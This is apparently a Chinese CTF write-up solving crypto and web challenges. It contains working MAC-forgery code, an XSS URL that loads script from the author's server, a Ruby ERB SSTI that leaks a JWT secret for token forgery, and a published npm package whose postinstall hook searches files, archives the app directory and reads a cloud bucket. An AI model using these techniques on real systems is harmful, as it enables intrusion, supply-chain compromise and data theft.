第一天状态挺好,第二天苟不动了,来写写 WriteUp 放松放松。

也是蛮巧,一二三血全凑齐了。

比赛题目的质量很高,学到了很多东西,出题的三叶草战队的师傅们辛苦了~

第一天状态挺好,第二天苟不动了,来写写 WriteUp 放松放松。也是蛮巧,一二三血全凑齐了。

也是蛮巧,一二三血全凑齐了。

比赛题目的质量很高,学到了很多东西,出题的三叶草战队的师傅们辛苦了~

一、Crypto

0x01. warmup

知识点:代码审计,AES加密

附件:

步骤:

1.打开审计一下源码,发现是 AES 加密。

#!/usr/bin/python
# -*- coding: utf-8 -*-

from Crypto.Cipher import AES
from Crypto.Util.strxor import strxor
from Crypto.Random import get_random_bytes
from FLAG import flag

class MAC:
    def __init__(self):
        self.key = get_random_bytes(16)
        self.iv = get_random_bytes(16)

    def pad(self, msg):
        pad_length = 16 - len(msg) % 16
        return msg + chr(pad_length) * pad_length

    def unpad(self, msg):
        return msg[:-ord(msg[-1])]

    def code(self, msg):
        res = chr(0)*16
        for i in range(len(msg)/16):
            res = strxor(msg[i*16:(i+1)*16], res)
        aes = AES.new(self.key, AES.MODE_CBC, self.iv)
        return aes.encrypt(res).encode('hex')

    def identity(self, msg, code):
        if self.code(msg) == code:
            msg = self.unpad(msg)
            if msg == 'please send me your flag':
                print 'remote: ok, here is your flag:%s' % flag
            else:
                print 'remote: I got it'
        else:
            print 'remote: hacker!'


if __name__ == '__main__':
    mac = MAC()
    message = 'see you at three o\'clock tomorrow'
    print 'you seem to have intercepted something:{%s:%s}' %(mac.pad(message).encode('hex'), mac.code(mac.pad(message)))
    print 'so send your message:'
    msg = raw_input()
    print 'and your code:'
    code = raw_input()
    mac.identity(msg.decode('hex'), code)
    exit()

先给出了一段明文的 hex 和其加密之后的 hex,然后要求给出一段明文和其对应的密文,然后就就判断其为 “please send me your flag” 且密文正确的话就给出 flag。

这里很有意思的是这里

def code(self, msg):
        res = chr(0)*16
        for i in range(len(msg)/16):
            res = strxor(msg[i*16:(i+1)*16], res)
        aes = AES.new(self.key, AES.MODE_CBC, self.iv)
        return aes.encrypt(res).encode('hex')

对明文进行异或摘要到 16 位之后,才进行加密的。

那么既然我们已知一组明文和密文,而且可以推算出其异或摘要之后获得的密钥,那么只要让我们传上去的明文摘要之后和前一组明文一致,那么就可以用前一组的密文来通过验证了。

2.对上面这个脚本进行改造,得到如下 POC 生成器,

#!/usr/bin/python
# -*- coding: utf-8 -*-

from Crypto.Cipher import AES
from Crypto.Util.strxor import strxor
from Crypto.Random import get_random_bytes
flag = "fuck"

class MAC:
    def __init__(self):
        self.key = get_random_bytes(16)
        self.iv = get_random_bytes(16)

    def pad(self, msg):
        pad_length = 16 - len(msg) % 16
        return msg + chr(pad_length) * pad_length

    def unpad(self, msg):
        return msg[:-ord(msg[-1])]

    def code(self, msg):
        res = chr(0)*16
        # 最终目的 res 相等 24054d4c1a0f19444e0f4016080f1805
        for i in range(len(msg)/16):
            res = strxor(msg[i*16:(i+1)*16], res)
        aes = AES.new(self.key, AES.MODE_CBC, self.iv)
        print(res.encode('hex'))
        return aes.encrypt(res).encode('hex')

    def identity(self, msg, code):
        if self.code(msg) == code:
            msg = self.unpad(msg)
            if msg == 'please send me your flag':
                print 'remote: ok, here is your flag:%s' % flag
            else:
                print 'remote: I got it'
        else:
            print 'remote: hacker!'


if __name__ == '__main__':
    mac = MAC()
    message = 'see you at three o\'clock tomorrow'
    print 'you seem to have intercepted something:{%s:%s}' %(mac.pad(message).encode('hex'), mac.code(mac.pad(message)))
    print 'so send your message:'
    msg = 'please send me your flag'
    print(msg)

    msg_o = msg + chr(63 - len(msg)) * (63 - len(msg))
    res = chr(0)*16
    for i in range(len(msg_o)/16 - 1):
        res = strxor(msg_o[i*16:(i+1)*16], res)

    msg_o = msg_o[:32] + strxor("24054d4c1a0f19444e0f4016080f1805".decode('hex'), res) + msg_o[48:]
    print(msg_o.encode('hex'))

    print 'and your code:'
    code = raw_input()
    mac.identity(msg.decode('hex'), code)
    exit()

解释一下,可以看到 code 那里我加了个 print ,输出第一组明文的十六位摘要和第二组明文的十六位摘要。

而后对第二组明文进行二次摘要,对其加上一段十六位文本,让其异或之后与第一段明文的十六位摘要相等。再加上 1~15 个 pad,最后处理时利用 pad 保留下我们需要的文本 ‘please send me your flag’。

【前 32 位不用动】【32~48 位 拿来和前面异或,使得和前面已知密文的明文摘要一致】【48~(49~63) 位 拿来 padding,不是 64 位就是为了让这一段不参与前面的摘要计算,保证最后一位可控】

运行,得到这段明文。

3.连接靶机,将明文和靶机返回的第一组明文提交,得到 flag。

4. Flag 到手~

二、Web

0x01. math-is-fun 1

知识点:利用外部组件进行的反射型 XSS

步骤:

1.打开靶机,是这样一个页面。

似乎要提交给管理员页面来看,页面没看到有可以提交进行储存的地方。

2.然后来看看页面源码。

这个地方似乎可控,来试试。

Nice,可以。

3.再来看看下面的 js。

可以看到,其对 config 进行解析,首先处理换行,而后对其进行解析

-config[‘name’]=value会被赋值到 window 的config里的 name value。

-name=value的会被赋值到 window 的 name,值为 value。

4.那么看看有什么地方读了 window 的,可以看到这里加载了 mathjax 来处理数学公式的显示。

5.点击进去看看源码,搜索 window,还真调用了。

可以看到其在初始化时将 window 里已有的 MathJax 存到自身的 AuthorConfig 里,而后其会读取这个设置,将里面的 root 作为组件的 root 进行设置。

那么就好办了,我们就构造一个参数,使其从我们的网站上加载我们的 js,这样想做啥都可以了,很棒的是这样加载不受 CSP 之类的限制,美滋滋。

6.构造如下,

http://47.110.128.101/challenge?name=glzjin%3b%0aMathJax%3d%7b”root”%3a”http%3a%2f%2fxss.zhaoj.in%2fmath”%7d

name那里其实为

glzjin;
MathJax={"root":"http://xss.zhaoj.in/math"}

这样就达到我们之前想达到的目的了。

7.把这个链接打过去,就可以看到 XSSBOT 加载了什么资源了。

祖传算号器:

import string, hashlib

a = string.digits + string.lowercase + string.uppercase
for i in a:
    for j in a:
        for k in a:
            for m in a:
                s = hashlib.md5(i + j + k + m).hexdigest()[0:5]
                if s == "5e86c":
                    print(i + j + k + m)
                    exit(0)

看我自己服务器日志,得

说明:这里其实我原本是直接在浏览器上看了看资源加载,没想到正常版的 Chrome 和 XSSBOT 的 headless Chrome 还有所不同,正常版 Chrome 加载的资源和 headless 的不同,错失一血- –

8.在服务器上创建一个这个路径的文件,

9.再打一遍。收 XSS。



10.Flag 到手~

0x02.math-is-fun2

同上一题,不再赘述

0x03.flag shop

知识点:Ruby ERB SSTI

备注:Ruby 摸得少,搜了一个下午都没搜到 Ruby 的全局变量 – -后来结束了和出题人 evoA 师傅一聊才知道得用美元符号的全局变量,哭了。在这里也还是写写 WriteUp 记录下。

步骤:

1、打开靶机,发现是这样一个页面。

2、看下页面源码,主要关注后面这一段,先获取信息,失败就去请求 auth。

auth 之后会得到一个 jwt token。看来之后的请求我们也得带上这个。

2、扫下敏感文件,有 robots.txt。

3、访问一下这个路径,是源码。

require 'sinatra'
require 'sinatra/cookies'
require 'sinatra/json'
require 'jwt'
require 'securerandom'
require 'erb'

set :public_folder, File.dirname(__FILE__) + '/static'

FLAGPRICE = 1000000000000000000000000000
#ENV["SECRET"] = SecureRandom.hex(xx)

configure do
  enable :logging
  file = File.new(File.dirname(__FILE__) + '/../log/http.log',"a+")
  file.sync = true
  use Rack::CommonLogger, file
end

get "/" do
  redirect '/shop', 302
end

get "/filebak" do
  content_type :text
  erb IO.binread __FILE__
end

get "/api/auth" do
  payload = { uid: SecureRandom.uuid , jkl: 20}
  auth = JWT.encode payload,ENV["SECRET"] , 'HS256'
  cookies[:auth] = auth
end

get "/api/info" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  json({uid: auth[0]["uid"],jkl: auth[0]["jkl"]})
end

get "/shop" do
  erb :shop
end

get "/work" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }
  auth = auth[0]
  unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

  if params[:do] == "#{params[:name][0,7]} is working" then

    auth["jkl"] = auth["jkl"].to_i + SecureRandom.random_number(10)
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    ERB::new("<script>alert('#{params[:name][0,7]} working successfully!')</script>").result

  end
end

post "/shop" do
  islogin
  auth = JWT.decode cookies[:auth],ENV["SECRET"] , true, { algorithm: 'HS256' }

  if auth[0]["jkl"] < FLAGPRICE then

    json({title: "error",message: "no enough jkl"})
  else

    auth << {flag: ENV["FLAG"]}
    auth = JWT.encode auth,ENV["SECRET"] , 'HS256'
    cookies[:auth] = auth
    json({title: "success",message: "jkl is good thing"})
  end
end


def islogin
  if cookies[:auth].nil? then
    redirect to('/shop')
  end
end

4、可以看到 /work 那里有 ERB 模板,还直接把可控参数 name 拼进去了,那么这里我们就可以传入一些构造过的参数,来达到我们的目的了。比如 name=<%=1%>,就会得 1。

5、 继续看看源码,同时注意有这样一段意义不明的代码。似乎得传入 SECRET 参数。那么就一起带上。

unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

5、对照 Ruby 全局变量表 ,不断 fuzz,发现$`有东西,

回溯到源码看看

unless params[:SECRET].nil?
    if ENV["SECRET"].match("#{params[:SECRET].match(/[0-9a-z]+/)}")
      puts ENV["FLAG"]
    end
  end

其在模板渲染之前之前有个匹配,就是这里。要是 SECRET 参数存在则对其进行匹配,用传入的这个值去和 ENV[“SECRET”] 匹配,匹配上了就往终端输出 FLAG。意义不明的代码,但这里既然有匹配,就可以用全局变量读出来了,也就是用 $` 来读取匹配前的内容。

那么这里读出来的就是 ENV 的 SECRET 的一部分了。

6、然后我们 SECRET 不传试试,这样括号里的匹配就不进行,只进行括号外的 ENV[“SECRET”] 的匹配,再用全局变量 $` 就可以读出 ENV[“SECRET”] 了。

7、拿到了 secret 之后,到 jwt.io 伪造一下 cookie 里的 auth 里存的 jwt 令牌。jkl 设置为 2000000000000000000000000000

8、置 cookie,买 flag。

9、然后再解析一下新的 jwt token。

10、Flag 到手~

0x04.easy-web

知识点:RCE点找寻(预期解),NPM 包特性(非预期解)

备注:这题做出来之后和出题人 l0ca1 师傅聊了聊,发现是有 RCE 点的,在传入包名那- -不过到后面我这种蛇皮做法个人觉得反倒还方便些。以下我就写写自己的方法吧。

步骤:

1、打开靶机,是这样一个页面。

2、看看源码,是 vue 写的。

3、看下 app.js,找出其中的接口。

4、分析文件,

看到如下几个点

提示 {“npm”:[“jquery”,”moment”]} ,其功能为下载 npm包打包之后提供二次下载。

提示 key 为 abcdefghiklmn123,接口地址 /upload。

经过观察,测试,得到该接口的正确用法:

5、然后参考 https://juejin.im/post/5971aa866fb9a06bb5406c94 自己来构造一个包,里面不需要有实际内容,主要利用 npm 包 package json 里 script 段的 postinstall 配置,这种攻击在现实中也出现过。https://www.anquanke.com/post/id/85150

构建步骤:

mkdir glzjintest1

cd glzjintest1

npm init1

新建一个 index.js,内容如下

exports.showMsg = function () {
  console.log("This is my first module");
};

编辑 package.json,

{
  "name": "glzjintest1",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "postinstall": "grep -rn 'sctf' / > result.txt; exit 0"
  },
  "author": "",
  "license": "ISC"
}

主要是改 scripts,postinstall 里面为你想执行的命令。这里我主要是想搜搜有没有 flag。

然后是推送包到 npmjs,

npm login

npm publish

6、然后请求靶机,让其下载这个包。

7、我们把返回的 URL 所指向的压缩包下载下来解压看看,可以看到我们的命令执行结果。没找到像 flag 的文件。

8、似乎 /var/task 是程序所在目录,打个包下下来看看。

继续修改 package.json,版本升级下,推包。

{
  "name": "glzjintest1",
  "version": "1.0.3",
  "description": "",
  "main": "index.js",
  "scripts": {
    "postinstall": "tar cvzf result.tar.gz /var/task/; exit 0"
  },
  "author": "",
  "license": "ISC"
}

然后继续让靶机下载咱们这个包。

解压 result.tar.gz

9、审计源码 index.js

const koa = require("koa");
const AWS = require("aws-sdk");
const bodyparser = require('koa-bodyparser');
const Router = require('koa-router');
const async = require("async");
const archiver = require('archiver');
const fs = require("fs");
const cp = require("child_process");
const mount = require("koa-mount");
const cfg = {
    "Bucket":"static.l0ca1.xyz",
    "host":"static.l0ca1.xyz",
}

function getRandomStr(len) {
    var text = "";
    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
    for (var i = 0; i < len; i++)
        text += possible.charAt(Math.floor(Math.random() * possible.length));
    return text;
};
function zip(archive, output, nodeModules) {
    const field_name = getRandomStr(20);
    fs.mkdirSync(`/tmp/${field_name}`);
    archive.pipe(output);
    return new Promise((res, rej) => {
        async.mapLimit(nodeModules, 10, (i, c) => {
            process.chdir(`/tmp/${field_name}`);
            console.log(`npm --userconfig='/tmp' --cache='/tmp' install ${i}`);
            cp.exec(`npm --userconfig='/tmp' --cache='/tmp' install ${i}`, (error, stdout, stderr) => {
                if (error) {
                    c(null, error);
                } else {
                    c(null, stdout);
                }
            });
        }, (error, results) => {
            archive.directory(`/tmp/${field_name}/`, false);
            archive.finalize();
        });
        output.on('close', function () {
            cp.exec(`rm -rf /tmp/${field_name}`, () => {
                res("");
            });
        });
        archive.on("error", (e) => {
            cp.exec(`rm -rf /tmp/${field_name}`, () => {
                rej(e);
            });
        });
    });
}

const s3Parme = {
    // accessKeyId:"xxxxxxxxxxxxxxxx",
    // secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
}
var s3 = new AWS.S3(s3Parme);
const app = new koa();
const router = new Router();
app.use(bodyparser());
app.use(mount('/static',require('koa-static')(require('path').join(__dirname,'./static'))));
router.get("/", async (ctx) => {
    return new Promise((resolve, reject) => {
        fs.readFile(require('path').join(__dirname, './static/index.html'), (err, data) => {
            if (err) {
                ctx.throw("系统发生错误,请重试");
                return;
            };
            ctx.type = 'text/html';
            ctx.body = data.toString();
            resolve();
        });
    });
})
.post("/login",async(ctx)=>{
    if(!ctx.request.body.email || !ctx.request.body.password){
        ctx.throw(400,"参数错误");
        return;
    }
    ctx.body = {isUser:false,message:"用户名或密码错误"};
    return;
})
.post("/upload", async (ctx) => {
    const parme = ctx.request.body;
    const nodeModules = parme.npm;
    const key = parme.key;
    if(typeof key == "undefined" || key!="abcdefghiklmn123"){
        ctx.throw(403,"请求失败");
        return;
    }
    if (typeof nodeModules == "undefined") {
        ctx.throw(400, "JSON 格式错误");
        return;
    }
    const zipFileName = `${getRandomStr(20)}.zip`;
    var output = fs.createWriteStream(`/tmp/${zipFileName}`, { flags: "w" });
    var archive = archiver('zip', {
        zlib: { level: 9 },
    });
    try {
        await zip(archive, output, nodeModules);
    } catch (e) {
        console.log(e);
        ctx.throw(400,"系统发生错误,请重试");
        return;
    }
    const zipBuffer = fs.readFileSync(`/tmp/${zipFileName}`);
    const data = await s3.upload({ Bucket: cfg.Bucket, Key: `node_modules/${zipFileName}`, Body: zipBuffer ,ACL:"public-read"}).promise().catch(e=>{
        console.log(e);
        ctx.throw(400,"系统发生错误,请重试");
        return;
    });
    ctx.body = {url:`http://${cfg.host}/node_modules/${zipFileName}`};
    cp.execSync(`rm -f /tmp/${zipFileName}`);
    return;
})
app.use(router.routes());

if (process.env && process.env.AWS_REGION) {
    require("dns").setServers(['8.8.8.8','8.8.4.4']);
	const serverless = require('serverless-http');
	module.exports.handler = serverless(app, {
		binary: ['image/*', 'image/png', 'image/jpeg']
	});
}else{
    app.listen(3000,()=>{
        console.log(`listening 3000......`);
    });
}

可以看到包是存在 亚马逊 s3 上的,而且在最后几行可以看出这个程序似乎是跑在亚马逊的 serverless 服务上的。

10、那么就来写个 nodejs 看看 s3 的 bucket 里有啥吧,把我们的包改下。

package.json 改为如下内容,版本升级,依赖加上,命令执行上。

{
  "name": "glzjintest1",
  "version": "1.0.7",
  "description": "",
  "main": "index.js",
  "scripts": {
    "postinstall": "cp index.js ../../test.js && cd ../../ && node test.js > result.txt; exit 0"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "aws-sdk": "^2.449.0"
  }
}

命令那里我复制到上上级 – -为了不重复下载依赖- -使得包太大。

index.js 改为如下内容:

const AWS = require("aws-sdk");

const s3Parme = {
    // accessKeyId:"xxxxxxxxxxxxxxxx",
    // secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
}

var s3 = new AWS.S3(s3Parme);

// Create the parameters for calling listObjects
var bucketParams = {
  Bucket : 'static.l0ca1.xyz',
};

// Call S3 to obtain a list of the objects in the bucket
s3.listObjects(bucketParams, function(err, data) {
  if (err) {
    console.log("Error", err);
  } else {
    console.log("Success", data);
  }
});

exports.showMsg = function () {
  console.log("This is my first module");
};

读出 s3 里存的东西,从 serverless 里连接是不需要凭证的。

然后让靶机下载这个包。

解压,看到开头有个 flag 文件。

11、继续更改 package.json,提升版本。

{
  "name": "glzjintest1",
  "version": "1.1.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "postinstall": "cp index.js ../../test.js && cd ../../ && node test.js > result.txt; exit 0"
  },
  "author": "",
  "license": "ISC",
  "dependencies": {
    "aws-sdk": "^2.449.0"
  }
}

然后修改 index.js,为其添加读取这个 flag 文件的代码。

const AWS = require("aws-sdk");

const s3Parme = {
    // accessKeyId:"xxxxxxxxxxxxxxxx",
    // secretAccessKey:"xxxxxxxxxxxxxxxxxxx",
}

var s3 = new AWS.S3(s3Parme);

// Create the parameters for calling listObjects
var bucketParams = {
  Bucket : 'static.l0ca1.xyz',
};

// Call S3 to obtain a list of the objects in the bucket
s3.listObjects(bucketParams, function(err, data) {
  if (err) {
    console.log("Error", err);
  } else {
    console.log("Success", data);
  }
});

var fileParam = {
  Bucket : 'static.l0ca1.xyz',
  Key: 'flaaaaaaaaag/flaaaag.txt'
};

s3.getObject(fileParam, function(err, data) {
  if (err) console.log(err, err.stack); // an error occurred
  else     console.log(data);           // successful response
});


exports.showMsg = function () {
  console.log("This is my first module");
};

推包,让靶机下载。

下载回来,解压,得到文件内容。

解码下就是 flag。

12、Flag 到手~